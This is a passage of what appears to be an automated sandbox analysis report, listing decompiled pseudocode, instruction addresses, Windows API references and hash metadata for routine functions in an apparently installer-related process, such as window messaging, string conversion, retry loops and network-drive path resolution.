                                                          				_t46 =  *0x414b28; // 0x0
                                                          				 *((char*)(_t84 + 0x5c)) = _t46;
                                                          				return _t46;
                                                          			}









                                                          0x00414a1f
                                                          0x00414a22
                                                          0x00414a24
                                                          0x00414a29
                                                          0x00414a33
                                                          0x00414a3a
                                                          0x00414a35
                                                          0x00414a35
                                                          0x00414a35
                                                          0x00414a43
                                                          0x00414a57
                                                          0x00414a45
                                                          0x00414a53
                                                          0x00414a53
                                                          0x00414a5d
                                                          0x00414a76
                                                          0x00414a5f
                                                          0x00414a6d
                                                          0x00414a6d
                                                          0x00414a7d
                                                          0x00414aa1
                                                          0x00414a85
                                                          0x00414a98
                                                          0x00414a98
                                                          0x00414aa8
                                                          0x00414ace
                                                          0x00414ab0
                                                          0x00414ac5
                                                          0x00414ac5
                                                          0x00414ae6
                                                          0x00414aed
                                                          0x00414b0d
                                                          0x00414b0d
                                                          0x00414aed
                                                          0x00414b12
                                                          0x00414b17
                                                          0x00414b21

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e47ef1872e46dca3bcd178273236e5877d045f18fdcc376afff38dc6785d385f
                                                          • Instruction ID: f311d58181889ba6b85912f0e00d48b4f28911ea733a9b4d136e7a4935890b68
                                                          • Opcode Fuzzy Hash: e47ef1872e46dca3bcd178273236e5877d045f18fdcc376afff38dc6785d385f
                                                          • Instruction Fuzzy Hash: C6312E70648740AFC320DB69C544BABBBE8AF88754F05881EF9D5C7752C638FC808B19
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 76%
                                                          			E004299E4(void* __eax, void* __ebx, intOrPtr __ecx, int __edx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				char _v12;
                                                          				long _t27;
                                                          				long _t34;
                                                          				int _t42;
                                                          				int _t43;
                                                          				intOrPtr _t50;
                                                          				int _t54;
                                                          				void* _t57;
                                                          				void* _t60;
                                                          
                                                          				_v12 = 0;
                                                          				_v8 = __ecx;
                                                          				_t54 = __edx;
                                                          				_t57 = __eax;
                                                          				_push(_t60);
                                                          				_push(0x429acf);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t60 + 0xfffffff8;
                                                          				if(__edx >= 0) {
                                                          					_t42 = SendMessageA(E004183F8( *((intOrPtr*)(__eax + 8))), 0xbb, __edx, 0);
                                                          					if(_t42 < 0) {
                                                          						_t43 = SendMessageA(E004183F8( *((intOrPtr*)(_t57 + 8))), 0xbb, _t54 - 1, 0);
                                                          						if(_t43 >= 0) {
                                                          							_t27 = SendMessageA(E004183F8( *((intOrPtr*)(_t57 + 8))), 0xc1, _t43, 0);
                                                          							if(_t27 != 0) {
                                                          								_t42 = _t43 + _t27;
                                                          								E00403708( &_v12, _v8, 0x429ae8);
                                                          								goto L6;
                                                          							}
                                                          						}
                                                          					} else {
                                                          						E00403708( &_v12, 0x429ae8, _v8);
                                                          						L6:
                                                          						SendMessageA(E004183F8( *((intOrPtr*)(_t57 + 8))), 0xb1, _t42, _t42);
                                                          						_t34 = E00403880(_v12);
                                                          						SendMessageA(E004183F8( *((intOrPtr*)(_t57 + 8))), 0xc2, 0, _t34);
                                                          					}
                                                          				}
                                                          				_pop(_t50);
                                                          				 *[fs:eax] = _t50;
                                                          				_push(0x429ad6);
                                                          				return E00403548( &_v12);
                                                          			}













                                                          0x004299ef
                                                          0x004299f2
                                                          0x004299f5
                                                          0x004299f7
                                                          0x004299fb
                                                          0x004299fc
                                                          0x00429a01
                                                          0x00429a04
                                                          0x00429a09
                                                          0x00429a25
                                                          0x00429a29
                                                          0x00429a54
                                                          0x00429a58
                                                          0x00429a6b
                                                          0x00429a72
                                                          0x00429a74
                                                          0x00429a81
                                                          0x00000000
                                                          0x00429a81
                                                          0x00429a72
                                                          0x00429a2b
                                                          0x00429a36
                                                          0x00429a86
                                                          0x00429a96
                                                          0x00429a9e
                                                          0x00429ab4
                                                          0x00429ab4
                                                          0x00429a29
                                                          0x00429abb
                                                          0x00429abe
                                                          0x00429ac1
                                                          0x00429ace

                                                          APIs
                                                          • SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429A20
                                                          • SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429A4F
                                                          • SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 00429A6B
                                                          • SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 00429A96
                                                          • SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 00429AB4
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID:
                                                          • API String ID: 3850602802-0
                                                          • Opcode ID: 33912425e75a5e81015f7a5e798669875d2ad2d689a7a3b11d8498f5e99de4d1
                                                          • Instruction ID: 71bc57cb73519f43203fbe336503a73024115a7934a0de05a51535c2dc10017d
                                                          • Opcode Fuzzy Hash: 33912425e75a5e81015f7a5e798669875d2ad2d689a7a3b11d8498f5e99de4d1
                                                          • Instruction Fuzzy Hash: 48219D707407557BE710ABAACC82F4B76ACEB80B08F50447EB911A7292DFB9AD40825D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 55%
                                                          			E0041BDD0(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr* __edx, void* __esi, void* __eflags) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				void* _v16;
                                                          				signed int _v20;
                                                          				intOrPtr _v24;
                                                          				int _v28;
                                                          				char _v32;
                                                          				signed int _t51;
                                                          				intOrPtr _t52;
                                                          				signed int _t55;
                                                          				intOrPtr* _t65;
                                                          				intOrPtr _t85;
                                                          				signed int _t87;
                                                          				void* _t89;
                                                          				void* _t90;
                                                          				intOrPtr _t91;
                                                          
                                                          				_t89 = _t90;
                                                          				_t91 = _t90 + 0xffffffe4;
                                                          				_v12 = __ecx;
                                                          				_t65 = __edx;
                                                          				_v8 = __eax;
                                                          				_v32 = GetSystemMetrics(0xb);
                                                          				_v28 = GetSystemMetrics(0xc);
                                                          				 *(_v8 + 8) =  *(_v8 + 8) >> 1;
                                                          				 *(_v8 + 0x14) = E0041BDBC( *(_v8 + 4) * ( *(_v8 + 0xe) & 0x0000ffff)) *  *(_v8 + 8);
                                                          				_t51 = E0041B700( *(_v8 + 0xe));
                                                          				_t87 = _t51;
                                                          				_push(0);
                                                          				L00406034();
                                                          				_v20 = _t51;
                                                          				if(_v20 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_push(_t89);
                                                          				_push(0x41bf95);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t91;
                                                          				_t52 = _v8;
                                                          				_v24 = _t52 + 0x28 + (_t87 << 2);
                                                          				_push(0);
                                                          				_push(_t52);
                                                          				_push(_v24);
                                                          				_push(4);
                                                          				_push(_v8);
                                                          				_t55 = _v20;
                                                          				_push(_t55);
                                                          				L00405CE4();
                                                          				_v16 = _t55;
                                                          				if(_v16 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_push(_t89);
                                                          				_push(0x41beb8);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t91;
                                                          				 *_t65 = E0041B5C4(_v16, 0,  &_v32);
                                                          				_pop(_t85);
                                                          				 *[fs:eax] = _t85;
                                                          				_push(E0041BEBF);
                                                          				return DeleteObject(_v16);
                                                          			}



















                                                          0x0041bdd1
                                                          0x0041bdd3
                                                          0x0041bdd8
                                                          0x0041bddb
                                                          0x0041bddd
                                                          0x0041bde7
                                                          0x0041bdf1
                                                          0x0041bdf7
                                                          0x0041be17
                                                          0x0041be21
                                                          0x0041be26
                                                          0x0041be28
                                                          0x0041be2a
                                                          0x0041be2f
                                                          0x0041be36
                                                          0x0041be38
                                                          0x0041be38
                                                          0x0041be3f
                                                          0x0041be40
                                                          0x0041be45
                                                          0x0041be48
                                                          0x0041be4b
                                                          0x0041be5a
                                                          0x0041be5d
                                                          0x0041be62
                                                          0x0041be66
                                                          0x0041be67
                                                          0x0041be6c
                                                          0x0041be6d
                                                          0x0041be70
                                                          0x0041be71
                                                          0x0041be76
                                                          0x0041be7d
                                                          0x0041be7f
                                                          0x0041be7f
                                                          0x0041be86
                                                          0x0041be87
                                                          0x0041be8c
                                                          0x0041be8f
                                                          0x0041be9f
                                                          0x0041bea3
                                                          0x0041bea6
                                                          0x0041bea9
                                                          0x0041beb7

                                                          APIs
                                                          • GetSystemMetrics.USER32 ref: 0041BDE2
                                                          • GetSystemMetrics.USER32 ref: 0041BDEC
                                                          • 72E5AC50.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BE2A
                                                          • 72E5A7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BF95,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BE71
                                                          • DeleteObject.GDI32(00000000), ref: 0041BEB2
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MetricsSystem$DeleteObject
                                                          • String ID:
                                                          • API String ID: 4263548647-0
                                                          • Opcode ID: f6427c12e78747918e6bbb63b1750ea29d1e16eb6cfdde24748c4f1850abdfc8
                                                          • Instruction ID: 576132143ccfecf3b2a42457fa623971e674ca3ddd884c513c5e643ae379458a
                                                          • Opcode Fuzzy Hash: f6427c12e78747918e6bbb63b1750ea29d1e16eb6cfdde24748c4f1850abdfc8
                                                          • Instruction Fuzzy Hash: 82314D74E00208EFDB04DFA5C941AAEB7F9EB48704F11856AE514AB381D7389E40DB98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 68%
                                                          			E00403DEC(char* __eax) {
                                                          				short _v2064;
                                                          				short* _t8;
                                                          				short* _t15;
                                                          				char* _t16;
                                                          				short* _t17;
                                                          				int _t18;
                                                          				int _t19;
                                                          
                                                          				_t16 = __eax;
                                                          				_t18 = E004036BC(__eax);
                                                          				if(E004036BC(_t16) >= 0x400) {
                                                          					_t8 = MultiByteToWideChar(0, 0, _t16, _t18, 0, 0);
                                                          					_t19 = _t8;
                                                          					_push(_t19);
                                                          					_push(0);
                                                          					L004012D0();
                                                          					_t17 = _t8;
                                                          					MultiByteToWideChar(0, 0, _t16, _t18, _t17, _t19);
                                                          				} else {
                                                          					_push(MultiByteToWideChar(0, 0, E00403880(_t16), _t18,  &_v2064, 0x400));
                                                          					_t15 =  &_v2064;
                                                          					_push(_t15);
                                                          					L004012D0();
                                                          					_t17 = _t15;
                                                          				}
                                                          				return _t17;
                                                          			}










                                                          0x00403df6
                                                          0x00403dff
                                                          0x00403e0d
                                                          0x00403e44
                                                          0x00403e49
                                                          0x00403e4b
                                                          0x00403e4c
                                                          0x00403e4e
                                                          0x00403e53
                                                          0x00403e5d
                                                          0x00403e0f
                                                          0x00403e2b
                                                          0x00403e2c
                                                          0x00403e30
                                                          0x00403e31
                                                          0x00403e36
                                                          0x00403e36
                                                          0x00403e6e

                                                          APIs
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403E26
                                                          • SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403E31
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403E44
                                                          • SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403E4E
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403E5D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ByteCharMultiWide$AllocString
                                                          • String ID:
                                                          • API String ID: 262959230-0
                                                          • Opcode ID: 2cc95d6f7b1f127dcf46e57af42dec1a8123eba99fe49ccf17d1077a6d996994
                                                          • Instruction ID: 8553b393521568fe2c41fe67b513b28362bdb8871c566aa6fe10746e1f77f2e9
                                                          • Opcode Fuzzy Hash: 2cc95d6f7b1f127dcf46e57af42dec1a8123eba99fe49ccf17d1077a6d996994
                                                          • Instruction Fuzzy Hash: D6F044613442043AE16035A64C87FA7298CCB41BDAF10057EB708FA2D1D8B99D0442FD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 55%
                                                          			E004145F8(intOrPtr* __eax, void* __ecx, signed int __edx, void* __eflags) {
                                                          				void* _v4;
                                                          				intOrPtr _v7;
                                                          				char _v19;
                                                          				intOrPtr _v36;
                                                          				char _v47;
                                                          				void* __ebx;
                                                          				signed int _t16;
                                                          				void* _t21;
                                                          				void* _t29;
                                                          				signed int _t30;
                                                          				intOrPtr* _t31;
                                                          				void* _t32;
                                                          				signed int* _t33;
                                                          
                                                          				_t33 = _t32 + 0xfffffff8;
                                                          				 *_t33 = __edx;
                                                          				_t31 = __eax;
                                                          				_v19 = 0;
                                                          				_t29 = E00402D48(__eax, 0xffef, __ecx, __eflags);
                                                          				if(_t29 != 0) {
                                                          					_t21 =  *((intOrPtr*)( *_t31 + 0x30))();
                                                          					_t16 = ( *_t33 ^ 0x00000001) & 0x0000007f;
                                                          					_push(_t16);
                                                          					_push(_t29);
                                                          					_push(_t21);
                                                          					L00405E34();
                                                          					_t30 = _t16;
                                                          					_push(_t21);
                                                          					L00405DF4();
                                                          					if(_t16 != 0) {
                                                          						 *((intOrPtr*)( *_t31 + 0x44))();
                                                          					}
                                                          					_push(1);
                                                          					_push(_t30);
                                                          					_push(_t21);
                                                          					L00405E34();
                                                          					_push(_t21);
                                                          					L00405DF4();
                                                          					_push(_t21);
                                                          					_push(_v36);
                                                          					L0040621C();
                                                          					_v47 = 1;
                                                          				}
                                                          				return _v7;
                                                          			}
















                                                          0x004145fb
                                                          0x004145fe
                                                          0x00414601
                                                          0x00414603
                                                          0x00414613
                                                          0x00414617
                                                          0x00414624
                                                          0x0041462b
                                                          0x0041462e
                                                          0x0041462f
                                                          0x00414630
                                                          0x00414631
                                                          0x00414636
                                                          0x00414638
                                                          0x00414639
                                                          0x00414640
                                                          0x00414646
                                                          0x00414646
                                                          0x00414649
                                                          0x0041464b
                                                          0x0041464c
                                                          0x0041464d
                                                          0x00414652
                                                          0x00414653
                                                          0x00414658
                                                          0x0041465d
                                                          0x0041465e
                                                          0x00414663
                                                          0x00414663
                                                          0x00414671

                                                          APIs
                                                          • 72E5B410.GDI32(00000000,00000000,00000000), ref: 00414631
                                                          • 72E5B150.GDI32(00000000,00000000,00000000,00000000), ref: 00414639
                                                          • 72E5B410.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041464D
                                                          • 72E5B150.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00414653
                                                          • 72E5B380.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041465E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B150B410$B380
                                                          • String ID:
                                                          • API String ID: 2237492430-0
                                                          • Opcode ID: 21e81aa133a391416738bdc62ed9c7cc6bfcf457dd58368824ec4defba356cf6
                                                          • Instruction ID: 54b9f4dbbe73ea6e97e09b1380e83115c72cd2121ebde513e967f01fb0ea53ff
                                                          • Opcode Fuzzy Hash: 21e81aa133a391416738bdc62ed9c7cc6bfcf457dd58368824ec4defba356cf6
                                                          • Instruction Fuzzy Hash: F801DF752083806BD700B63ACC49A9F6BDD8FDA318F09446EF088DB2C2CA7ACC018765
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 95%
                                                          			E00453B24(long __eax, void* __edx, long _a4) {
                                                          				long _v8;
                                                          				long _t4;
                                                          				void* _t8;
                                                          				long _t9;
                                                          				long _t11;
                                                          				void* _t13;
                                                          				void* _t14;
                                                          
                                                          				_t4 = __eax;
                                                          				_v8 = _t9;
                                                          				_t11 = __eax;
                                                          				_t13 = __edx - 1;
                                                          				if(_t13 < 0) {
                                                          					L10:
                                                          					return _t4;
                                                          				}
                                                          				_t14 = _t13 + 1;
                                                          				_t8 = 0;
                                                          				L2:
                                                          				L2:
                                                          				if(_t8 != 1) {
                                                          					if(_t8 > 1) {
                                                          						Sleep(_a4);
                                                          					}
                                                          				} else {
                                                          					Sleep(_v8);
                                                          				}
                                                          				_t4 = E00403880(_t11);
                                                          				_push(_t4);
                                                          				L0040598C();
                                                          				if(_t4 != 0) {
                                                          					goto L10;
                                                          				}
                                                          				_t4 = GetLastError();
                                                          				if(_t4 == 2) {
                                                          					goto L10;
                                                          				}
                                                          				_t4 = GetLastError();
                                                          				if(_t4 == 3) {
                                                          					goto L10;
                                                          				}
                                                          				_t8 = _t8 + 1;
                                                          				_t14 = _t14 - 1;
                                                          				if(_t14 != 0) {
                                                          					goto L2;
                                                          				}
                                                          				goto L10;
                                                          			}










                                                          0x00453b24
                                                          0x00453b2b
                                                          0x00453b2e
                                                          0x00453b32
                                                          0x00453b35
                                                          0x00453b86
                                                          0x00453b86
                                                          0x00453b86
                                                          0x00453b37
                                                          0x00453b38
                                                          0x00000000
                                                          0x00453b3a
                                                          0x00453b3d
                                                          0x00453b4d
                                                          0x00453b53
                                                          0x00453b53
                                                          0x00453b3f
                                                          0x00453b43
                                                          0x00453b43
                                                          0x00453b5a
                                                          0x00453b5f
                                                          0x00453b60
                                                          0x00453b67
                                                          0x00000000
                                                          0x00000000
                                                          0x00453b69
                                                          0x00453b71
                                                          0x00000000
                                                          0x00000000
                                                          0x00453b73
                                                          0x00453b7b
                                                          0x00000000
                                                          0x00000000
                                                          0x00453b7d
                                                          0x00453b7e
                                                          0x00453b7f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastSleep
                                                          • String ID:
                                                          • API String ID: 1458359878-0
                                                          • Opcode ID: db47c859a72238f24b5f880bcba7317b7ae61fa4b73b1cb6dc40a1b021a34d7c
                                                          • Instruction ID: 00fa771ec8d72f4602502740fe327201ee04e851d64e26ccebaae66dc87039a5
                                                          • Opcode Fuzzy Hash: db47c859a72238f24b5f880bcba7317b7ae61fa4b73b1cb6dc40a1b021a34d7c
                                                          • Instruction Fuzzy Hash: 99F024B2E01328668A257AEA48C697FA24CD9413FB724013FFD00E7203C43DEE0946BD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 86%
                                                          			E004565EF(void* __ebx, void* __edi, void* __esi) {
                                                          				void* _t6;
                                                          				void* _t13;
                                                          				void* _t27;
                                                          				intOrPtr _t30;
                                                          				void* _t34;
                                                          
                                                          				_t6 =  *0x49df30 - 1;
                                                          				if(_t6 == 0) {
                                                          					SetLastError( *0x49df34);
                                                          					E00451B58("LoadLibrary", __ebx, _t27, __edi, __esi, __eflags);
                                                          				} else {
                                                          					_t13 = _t6 - 1;
                                                          					if(_t13 == 0) {
                                                          						SetLastError( *0x49df34);
                                                          						E00451B58("GetProcAddress", __ebx, _t27, __edi, __esi, __eflags);
                                                          					} else {
                                                          						_t37 = _t13 == 1;
                                                          						if(_t13 == 1) {
                                                          							__eflags = E004063BC( *0x49df34);
                                                          							if(__eflags != 0) {
                                                          								E00451C00( *0x0048CA60, __ebx,  *0x49df34, __edi, __esi, __eflags);
                                                          							}
                                                          						} else {
                                                          							E00451AFC("HelperRegisterServer: StatusCode invalid", __ebx, __edi, __esi, _t37);
                                                          						}
                                                          					}
                                                          				}
                                                          				_pop(_t30);
                                                          				 *[fs:eax] = _t30;
                                                          				_push(E0045667B);
                                                          				return E00403548(_t34 - 0xc);
                                                          			}








                                                          0x004565f4
                                                          0x004565f5
                                                          0x00456605
                                                          0x0045660f
                                                          0x004565f7
                                                          0x004565f7
                                                          0x004565f8
                                                          0x0045661c
                                                          0x00456626
                                                          0x004565fa
                                                          0x004565fa
                                                          0x004565fb
                                                          0x00456637
                                                          0x00456639
                                                          0x0045664d
                                                          0x0045664d
                                                          0x004565fd
                                                          0x00456659
                                                          0x00456659
                                                          0x004565fb
                                                          0x004565f8
                                                          0x00456660
                                                          0x00456663
                                                          0x00456666
                                                          0x00456673

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast
                                                          • String ID: GetProcAddress$HelperRegisterServer: StatusCode invalid$LoadLibrary
                                                          • API String ID: 1452528299-1321573290
                                                          • Opcode ID: 2f536f9cb61a7f29fd0e6a511c2df4d605e25633c0ba1556664db9f31e186864
                                                          • Instruction ID: 0074ae75e00a2da9dc1cd298f8258a959d777eff63c8152b3a0ed80384768518
                                                          • Opcode Fuzzy Hash: 2f536f9cb61a7f29fd0e6a511c2df4d605e25633c0ba1556664db9f31e186864
                                                          • Instruction Fuzzy Hash: 05F081346181448A8F20AB69A94351977A4E7243463D3403BBC02C326BDA3DEC1DCB1D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 58%
                                                          			E004070DC(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				intOrPtr* _v8;
                                                          				intOrPtr _v12;
                                                          				int _v16;
                                                          				int _v20;
                                                          				int _v24;
                                                          				char _v25;
                                                          				void* _v32;
                                                          				void* _v36;
                                                          				void _v1060;
                                                          				char _v1064;
                                                          				char _v1068;
                                                          				int _t76;
                                                          				void* _t113;
                                                          				intOrPtr _t116;
                                                          				signed int _t128;
                                                          				void* _t131;
                                                          				void* _t132;
                                                          				void* _t134;
                                                          				void* _t135;
                                                          				intOrPtr _t136;
                                                          
                                                          				_t134 = _t135;
                                                          				_t136 = _t135 + 0xfffffbd8;
                                                          				_v1064 = 0;
                                                          				_v1068 = 0;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_push(_t134);
                                                          				_push(0x407320);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t136;
                                                          				E004035DC(_v12, _v8);
                                                          				if( *0x48c0e0 == 1) {
                                                          					_v25 = E004028E4( *_v8);
                                                          					if(_v25 >= 0x41 && _v25 <= 0x5a && E004036BC(_v8) >= 3 &&  *((char*)(_v8 + 1)) == 0x3a &&  *((char*)(_v8 + 2)) == 0x5c && WNetOpenEnumA(1, 1, 0, 0,  &_v32) == 0) {
                                                          						 *[fs:edx] = _t136;
                                                          						_v20 = 0x640;
                                                          						_v36 = E00402650(_v20,  *[fs:edx], 0x4072fb, _t134);
                                                          						_push(_t134);
                                                          						_push(0x4072dd);
                                                          						_push( *[fs:edx]);
                                                          						 *[fs:edx] = _t136;
                                                          						while(1) {
                                                          							L10:
                                                          							_v16 = 0xffffffff;
                                                          							_v24 = _v20;
                                                          							_t76 = WNetEnumResourceA(_v32,  &_v16, _v36,  &_v24);
                                                          							if(_t76 == 0xea) {
                                                          								break;
                                                          							}
                                                          							if(_t76 == 0) {
                                                          								_t131 = _v16 - 1;
                                                          								if(_t131 < 0) {
                                                          									continue;
                                                          								} else {
                                                          									_t132 = _t131 + 1;
                                                          									_t128 = 0;
                                                          									while(1) {
                                                          										_t107 = _v36 + (_t128 << 2) * 8;
                                                          										if( *((intOrPtr*)(_v36 + (_t128 << 2) * 8 + 0x10)) != 0 && E004028E4( *((intOrPtr*)( *((intOrPtr*)(_t107 + 0x10))))) == _v25) {
                                                          											break;
                                                          										}
                                                          										_t128 = _t128 + 1;
                                                          										_t132 = _t132 - 1;
                                                          										if(_t132 != 0) {
                                                          											continue;
                                                          										} else {
                                                          											goto L10;
                                                          										}
                                                          										goto L21;
                                                          									}
                                                          									E004038C0(_v8, E004036BC(_v8) - 2, 3,  &_v1064);
                                                          									_push(_v1064);
                                                          									E00403674( &_v1068,  *((intOrPtr*)(_t107 + 0x14)));
                                                          									_pop(_t113);
                                                          									E00403708(_v12, _t113, _v1068);
                                                          									E00403304();
                                                          									E00403304();
                                                          								}
                                                          							} else {
                                                          								E00403304();
                                                          								E00403304();
                                                          							}
                                                          							goto L21;
                                                          						}
                                                          						_v20 = _v24;
                                                          						E00402680( &_v36, _v20);
                                                          						goto L10;
                                                          					}
                                                          				} else {
                                                          					_v24 = 0x400;
                                                          					if(WNetGetUniversalNameA(E00403880(_v8), 1,  &_v1060,  &_v24) == 0) {
                                                          						E00403674(_v12, _v1060);
                                                          					}
                                                          				}
                                                          				L21:
                                                          				_pop(_t116);
                                                          				 *[fs:eax] = _t116;
                                                          				_push(E00407327);
                                                          				return E00403568( &_v1068, 2);
                                                          			}























                                                          0x004070dd
                                                          0x004070df
                                                          0x004070ea
                                                          0x004070f0
                                                          0x004070f6
                                                          0x004070f9
                                                          0x004070fe
                                                          0x004070ff
                                                          0x00407104
                                                          0x00407107
                                                          0x00407110
                                                          0x0040711c
                                                          0x00407167
                                                          0x0040716e
                                                          0x004071cd
                                                          0x004071d0
                                                          0x004071df
                                                          0x004071e4
                                                          0x004071e5
                                                          0x004071ea
                                                          0x004071ed
                                                          0x004071f0
                                                          0x004071f0
                                                          0x004071f0
                                                          0x004071fa
                                                          0x0040720d
                                                          0x00407217
                                                          0x00000000
                                                          0x00000000
                                                          0x0040722e
                                                          0x00407242
